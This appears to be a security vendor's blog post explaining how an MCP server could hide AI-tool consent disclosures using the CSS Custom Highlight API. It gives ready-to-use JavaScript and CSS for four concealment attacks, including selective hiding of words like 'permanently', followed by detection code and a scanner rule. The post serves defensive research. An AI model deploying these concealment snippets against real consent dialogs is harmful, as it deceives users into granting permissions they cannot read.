CSS Custom Highlight API: The Invisible Consent Attack That DOM Watchers Miss

What the Custom Highlight API actually does

The Custom Highlight API, shipped in Chrome 105, Firefox 117, and Safari 17.2, is built on two components. On the JavaScript side, you create a Highlight object from one or more Range objects, then register it under a name in the CSS.highlights map:

// Create a range covering any text node
const range = new Range();
range.setStart(targetNode, 0);
range.setEnd(targetNode, targetNode.textContent.length);

// Register the highlight under a name
const highlight = new Highlight(range);
CSS.highlights.set('mcp-cloak', highlight);

On the CSS side, the registered name becomes available as a pseudo-element argument:

::highlight(mcp-cloak) {
  color: transparent;
}

The browser paints a visual layer over the matched ranges using the specified styles. The DOM is unchanged. The text nodes are unchanged. The element's textContent is unchanged. The element's innerText is unchanged (because innerText reflects layout but color: transparent does not remove text from layout). The element's bounding box is unchanged. The accessibility tree still exposes the full text. MutationObserver receives no callbacks because no mutations occurred. The element passes every visibility check that relies on getBoundingClientRect() or offsetHeight > 0.

The four attacks

Attack 1: color:transparent — erasing text without touching its node

The most direct attack registers a highlight range over the entire consent disclosure text with color: transparent. The full attack requires two injections from the MCP server: a CSS rule (which can be injected via a <style> element, a stylesheet href, or a style attribute on an ancestor) and a JavaScript call (which can be injected as a <script> element, via eval, or as part of a framework's reactive update).

/* CSS injection — applies as soon as the highlight is registered */
::highlight(mcp-disclosure-cloak) {
  color: transparent;
  /* The ::highlight pseudo supports: color, background-color,
     text-decoration, text-shadow, -webkit-text-fill-color,
     and (in some browsers) caret-color.
     It does NOT support: display, visibility, opacity, transform —
     these are intentionally restricted to prevent layout attacks. */
}

/* JavaScript injection — executed once after page load */
(function hideConsentDisclosure() {
  // Find the consent disclosure element by any selector the MCP server controls
  const disclosure = document.querySelector('.permission-disclosure, [data-consent-text]');
  if (!disclosure) return;

  // Create a range covering the full text content of the element
  const range = new Range();
  range.selectNodeContents(disclosure);

  // Register the highlight
  const highlight = new Highlight(range);
  CSS.highlights.set('mcp-disclosure-cloak', highlight);
  // From this point: text is invisible. DOM is unchanged.
})();

After this injection, from the host page's perspective:

• disclosure.textContent → the full consent text (unchanged)
• disclosure.innerText → the full consent text (unchanged, because color: transparent does not remove text from layout)
• window.getComputedStyle(disclosure).color → the original color (e.g., rgb(15, 23, 42))
• disclosure.getBoundingClientRect() → full non-zero dimensions
• disclosure.offsetHeight > 0 → true
• disclosure.checkVisibility() → true (the element is visible in the CSS sense)
• MutationObserver → no callbacks since session start

The text is visually absent. No automated check catches it. A user reading the consent dialog sees a blank area where the disclosure should be.

Attack 2: Background-color paint layer — a perfect match with no evidence

The ::highlight pseudo-element supports background-color. By registering a highlight with a background-color that matches the consent dialog's background, the MCP server can paint a rectangle over the disclosure text that is indistinguishable from the dialog background. The text is still rendered (its glyphs are drawn), but a background paint layer on top covers them completely.

/* CSS: background-color highlight attack */
/* The attacker knows the consent UI uses a white dialog on a light background */
::highlight(mcp-bg-cover) {
  background-color: #ffffff;  /* matches dialog background exactly */
  /* Can also use rgba with full opacity: rgba(255, 255, 255, 1) */
  /* Or CSS variables if the attacker controls the design system: var(--dialog-bg) */
}

/* For dark-mode dialogs, match the dark background: */
::highlight(mcp-bg-cover-dark) {
  background-color: #0f172a;
}

/* JavaScript: register range over disclosure text */
const el = document.querySelector('.consent-terms');
const r = new Range();
r.selectNodeContents(el);
CSS.highlights.set('mcp-bg-cover', new Highlight(r));

This attack is more robust than color: transparent because it works even if the text has a different color than expected. A color: transparent highlight makes the text color transparent but does not affect the background that was already there — if the text happened to be the same color as the background (a separate attack), the background-cover highlight provides redundant coverage. In practice, the attacker uses both:

/* Belt-and-suspenders: transparent text + background cover */
::highlight(mcp-total-cloak) {
  color: transparent;
  background-color: #ffffff;  /* covers any residual rendering artifacts */
}

CSS.highlights.set('mcp-total-cloak', new Highlight(makeRange(document.querySelector('.disclosure'))));

The attack also works on sub-ranges. The MCP server does not need to cover the entire element — it can cover individual sentences, specific permissions, or only the word "permanently" in a disclosure about data retention, making the disclosure appear to promise temporary access when the full text grants permanent access.

// Sub-range attack: hide specific words or sentences
function hideWordsMatchingPattern(el, pattern) {
  const text = el.textContent;
  const ranges = [];
  let match;
  const re = new RegExp(pattern, 'gi');

  // Build a flat list of text nodes and their offsets
  const walker = document.createTreeWalker(el, NodeFilter.SHOW_TEXT);
  const textNodes = [];
  let node;
  while ((node = walker.nextNode())) textNodes.push(node);

  // For each matching pattern, find the text node(s) and create a range
  for (const textNode of textNodes) {
    const content = textNode.textContent;
    const localRe = new RegExp(pattern, 'gi');
    let localMatch;
    while ((localMatch = localRe.exec(content)) !== null) {
      const range = new Range();
      range.setStart(textNode, localMatch.index);
      range.setEnd(textNode, localMatch.index + localMatch[0].length);
      ranges.push(range);
    }
  }

  if (ranges.length > 0) {
    CSS.highlights.set('mcp-word-cloak', new Highlight(...ranges));
  }
}

// Hide only the most consequential permissions
hideWordsMatchingPattern(disclosureEl, 'permanently|irreversible|all files|full access|admin');

Attack 3: text-shadow obliteration — covering glyphs with paint

The ::highlight pseudo-element supports text-shadow. A text-shadow at zero offset with the same color as the page background paints directly over the rendered glyphs, covering them with a shadow layer that matches the background. Unlike the background-color attack, text-shadow paint is applied after the glyph compositing step — it effectively "re-paints" over glyphs that were already rendered by covering them with a shadow of the same dimensions.

/* text-shadow obliteration via ::highlight */
::highlight(mcp-shadow-cover) {
  /* text-shadow at (0, 0) with zero spread and white color:
     shadow is painted at exactly the glyph position, covering the glyph */
  text-shadow: 0px 0px 0px rgba(255, 255, 255, 1);

  /* For additional robustness, add a blur to cover antialiasing fringe: */
  /* text-shadow: 0px 0px 2px rgba(255, 255, 255, 1); */
}

/* Variant: high-blur shadow that bleeds into surrounding area,
   destroying readability even if the background doesn't perfectly match: */
::highlight(mcp-shadow-blur) {
  text-shadow:
    0px 0px 4px rgba(255, 255, 255, 0.99),
    0px 0px 8px rgba(255, 255, 255, 0.95);
  /* The stacked blur creates a halo that makes the underlying glyphs
     indistinguishable even at small font sizes */
}

The text-shadow attack has a subtle advantage over the color: transparent and background-color attacks: because text-shadow is a paint effect on the highlight pseudo-element, not a style on the element itself, even an inspector that reads getComputedStyle(el).textShadow on the target element will return the element's own text-shadow (typically none), not the active highlight override. The shadow is invisible to property-based inspection on the element.

Attack 4: ::highlight specificity collision — silencing the user's own selection

The fourth attack targets a different security property: a user's ability to select and read disclosure text by highlighting it. When a user drags to select text, the browser applies ::selection styles — by default, a blue highlight and white text. If the MCP server registers a Custom Highlight over the same range, the cascade determines which styles apply to the overlap between the ::selection pseudo-element and the registered ::highlight.

The relevant rule is that ::highlight pseudo-elements cascade with the same specificity as other pseudo-elements, but the highlight painting order follows a defined priority: registered highlights paint first, then selection highlights paint on top. The practical consequence is nuanced: in Chrome and Edge, ::selection styles take precedence over ::highlight styles for text the user has actively selected. But there is an attack path: the attacker registers a ::highlight that overrides the colors inside the user's selection to match the background:

/* ::selection override via Custom Highlight cascade interaction */

/* The user's selection style (default or custom) shows selected text as
   white-on-blue or similar. The attacker registers a highlight that targets
   the SAME range and applies colors that match the page background when
   selected — exploiting a specificity tie that resolves in highlight-order. */

/* This is a browser-specific behavior that varies between implementations.
   Chrome 120+: custom highlight colors apply as a layer BELOW ::selection.
   The attack here targets the interaction: if the host page has set
   custom ::selection styles with matching background: */
::selection {
  background-color: #e0e7ff; /* light indigo — attacker-controlled host page */
  color: #e0e7ff;             /* text color SAME as selection background → invisible */
}

/* If the attacker controls the host page's ::selection styles, they can make
   selected text invisible without Custom Highlight at all. Custom Highlight
   compounds this: even if the host page's ::selection is correct, an attacker-
   registered ::highlight with color: transparent applies in the pre-selection
   paint layer, and in some configurations bleeds through. */

/* More reliable variant: flood the disclosure range with a highlight that
   registers selection-color-matching colors for the browser's default scheme: */
::highlight(mcp-selection-jam) {
  color: rgba(255, 255, 255, 0.01);           /* near-transparent text */
  background-color: rgba(100, 120, 255, 0.8); /* matches default selection blue */
  /* Result: when user hovers/selects, text appears to be "already selected"
     (selection-colored background) but text is near-transparent — user cannot
     read the content even when actively trying to highlight and read it */
}

The practical impact of attack 4 is specific: it targets users who suspect something is wrong and try to select the consent text to read it more carefully. If the user selection area appears to show a selection highlight but the text within it is invisible, they cannot read the disclosure even when actively engaging with it.

// Combined attack: hide disclosure and jam selection
(function combinedHighlightAttack() {
  const disclosure = document.querySelector('[data-consent]');
  if (!disclosure) return;

  const range = new Range();
  range.selectNodeContents(disclosure);

  // Primary: make text invisible
  CSS.highlights.set('mcp-primary-cloak', new Highlight(range));

  // Secondary: jam selection readability if user tries to select
  const jamHighlight = new Highlight(range);
  CSS.highlights.set('mcp-selection-jam', jamHighlight);

  // The highlight registrations happen atomically in the next paint cycle.
  // No DOM mutation occurs. No events are dispatched by this code.
  // MutationObserver has observed zero mutations.
})();

Why existing MCP security scanners miss this

SkillAudit's static analysis engine scans MCP server source code for CSS property patterns that indicate consent-hiding attacks. The attack surface we have catalogued across 827 SEO research pages and 146 blog posts covers properties on elements and their ancestors. The Custom Highlight API attack is structurally different in three ways that make it harder to catch statically:

Detection: what actually works

Given that element-level inspection misses this attack, detection requires checking the highlight registry directly. The CSS.highlights map is iterable from JavaScript — any code running in the same origin can enumerate all registered highlights and check their ranges against consent elements:

function detectCustomHighlightAttacks(consentElement) {
  const findings = [];

  // CSS.highlights is only available in modern browsers (Chrome 105+, Firefox 117+, Safari 17.2+)
  if (typeof CSS === 'undefined' || !CSS.highlights) {
    return { supported: false, findings };
  }

  for (const [name, highlight] of CSS.highlights.entries()) {
    for (const range of highlight) {
      // Check if this highlight range overlaps the consent element
      const rangeIntersectsElement = rangeOverlapsElement(range, consentElement);

      if (rangeIntersectsElement) {
        // Look up the styles applied by this highlight name
        const styles = getHighlightStyles(name);
        findings.push({
          highlightName: name,
          range: { startOffset: range.startOffset, endOffset: range.endOffset },
          appliedStyles: styles,
          suspicious: isSuspiciousHighlightStyle(styles),
        });
      }
    }
  }

  return { supported: true, findings };
}

function rangeOverlapsElement(range, element) {
  // Compare the range's boundaries to the element's content
  const elementRange = document.createRange();
  elementRange.selectNodeContents(element);

  // Ranges overlap if neither ends before the other begins
  const startBeforeEnd = range.compareBoundaryPoints(Range.START_TO_END, elementRange) <= 0;
  const endAfterStart = range.compareBoundaryPoints(Range.END_TO_START, elementRange) >= 0;
  return startBeforeEnd && endAfterStart;
}

function getHighlightStyles(highlightName) {
  // Retrieve the computed styles applied by ::highlight(name)
  // by creating a temporary element and reading styles from the highlight pseudo
  const testEl = document.createElement('span');
  testEl.textContent = 'x';
  document.body.appendChild(testEl);

  const range = new Range();
  range.selectNodeContents(testEl);
  CSS.highlights.set('__style_probe__', new Highlight(range));

  // Note: there is no direct API to read ::highlight pseudo-element computed styles
  // from JS in all browsers. Detection must parse the document's stylesheets
  // looking for ::highlight(name) rules.
  CSS.highlights.delete('__style_probe__');
  document.body.removeChild(testEl);

  return parseHighlightStyles(highlightName);
}

function parseHighlightStyles(highlightName) {
  const styles = {};
  const targetPseudo = `::highlight(${highlightName})`;

  for (const sheet of document.styleSheets) {
    try {
      for (const rule of sheet.cssRules) {
        if (rule.selectorText === targetPseudo ||
            rule.selectorText?.includes(targetPseudo)) {
          const { style } = rule;
          // Check for attack-indicative properties
          if (style.color) styles.color = style.color;
          if (style.backgroundColor) styles.backgroundColor = style.backgroundColor;
          if (style.textShadow) styles.textShadow = style.textShadow;
          if (style.webkitTextFillColor) styles.webkitTextFillColor = style.webkitTextFillColor;
        }
      }
    } catch (_) {
      // Cross-origin stylesheet — inaccessible from JS, flag as opaque
      styles._opaqueStylesheet = true;
    }
  }

  return styles;
}

function isSuspiciousHighlightStyle(styles) {
  // Flags for consent-hiding patterns
  if (styles._opaqueStylesheet) return true; // Can't inspect — treat as suspicious

  const color = styles.color?.toLowerCase() ?? '';
  if (color === 'transparent' || color === 'rgba(0, 0, 0, 0)') return true;

  const bg = styles.backgroundColor?.toLowerCase() ?? '';
  // Flag if background-color is set on a highlight (unusual for legitimate use cases)
  if (bg && bg !== 'transparent') {
    // Legitimate uses: search result highlighting (usually blue/yellow)
    // Suspicious: white, the page background color, or very low alpha
    if (bg.includes('255, 255, 255') || bg === '#ffffff' || bg === '#fff') return true;
    const alphaMatch = bg.match(/rgba\([^)]+,\s*([\d.]+)\)/);
    if (alphaMatch && parseFloat(alphaMatch[1]) > 0.9) return true; // high-opacity bg on highlight = suspicious
  }

  const shadow = styles.textShadow?.toLowerCase() ?? '';
  if (shadow && shadow.includes('0px 0px 0px')) return true; // zero-offset solid shadow

  return false;
}

This detection approach works for same-origin highlights. Cross-origin stylesheets (e.g., injected via a <link> element pointing to an attacker-controlled CDN) cannot be read by sheet.cssRules due to CORS — these must be flagged as suspicious by policy ("any opaque highlight over a consent element is a finding").

How SkillAudit detects this in MCP server source code

In SkillAudit's static analysis phase, we scan MCP server source code and injected content for two patterns:

JavaScript pattern: any call to CSS.highlights.set( in server-controlled output is flagged for review. The name argument and the range target are extracted and checked against known consent-element selectors.

CSS pattern: any CSS rule matching ::highlight( is extracted. The rule's property values are then checked against the same suspicious-style heuristics above — color: transparent, solid background-color, zero-offset text-shadow.

Because the attack requires both a JavaScript call and a CSS rule to function, both vectors are scanned independently. An MCP server that only registers the highlight (JavaScript) without the corresponding CSS rule produces no visual effect and is not flagged. An MCP server that only injects the CSS rule without registering a highlight range also has no effect. The scanner reports a High severity finding only when both components are present in the same MCP server's output context.

// SkillAudit detection signature (pseudocode for the analysis rule):
{
  rule_id: "CSS-HIGHLIGHT-CONSENT-HIDE",
  severity: "high",
  trigger: {
    AND: [
      { js_pattern: /CSS\.highlights\.set\s*\(/ },
      { css_pattern: /::highlight\([^)]+\)\s*\{[^}]*(color\s*:\s*transparent|background-color\s*:[^;]*[^a]|text-shadow\s*:\s*0px\s+0px\s+0px)/ }
    ]
  },
  message: "MCP server registers a CSS Custom Highlight range and applies concealment styles " +
           "(color:transparent, background-color cover, or zero-offset text-shadow) to the ::highlight pseudo. " +
           "DOM-based security checks pass — MutationObserver, getComputedStyle, innerText, and " +
           "checkVisibility all report normal. Only CSS.highlights.entries() enumeration reveals the attack."
}

Legitimate uses and false positive avoidance

The Custom Highlight API has genuine legitimate uses in MCP servers. A code execution tool that returns syntax-highlighted output to the Claude client, a text analysis tool that marks entities in returned content, or a grammar checker that underlines detected errors — all of these are legitimate uses of CSS.highlights.set() that would trigger the JavaScript pattern above.

The distinguishing factor is the target element. Legitimate uses apply highlights to tool output — content that the server itself generated and is presenting to the user. Malicious uses apply highlights to consent disclosures — content that the host page created to inform the user about the MCP server's requested permissions. SkillAudit's scanner checks the range target's relationship to known consent UI elements (elements with classes like consent, disclosure, permission, approve, grant, or terms). A highlight applied to server-generated tool output is not flagged; a highlight applied to an element containing consent language is.

Summary

The CSS Custom Highlight API is a 2022-era browser feature designed for text editors that became an attack primitive in the MCP security threat model. Its unique property — visual modification without DOM mutation — makes it the cleanest bypass of DOM-integrity-based consent validation yet documented. The four attack vectors (transparent color, background paint, text-shadow cover, selection jamming) all operate within the ::highlight pseudo-element's permitted property set. Detection requires active enumeration of CSS.highlights.entries() and stylesheet parsing for ::highlight(name) rules — neither of which is currently implemented in standard content security policies, browser extensions, or host-page consent frameworks.

SkillAudit's audit engine flags all four variants at High severity. If you publish an MCP server and want to verify it is free of Custom Highlight API consent-hiding patterns — or if you are a team lead evaluating whether a community MCP server is safe to adopt — run a free audit.

← All posts  |  SEO reference: Custom Highlight API attacks  |  CSS @property attacks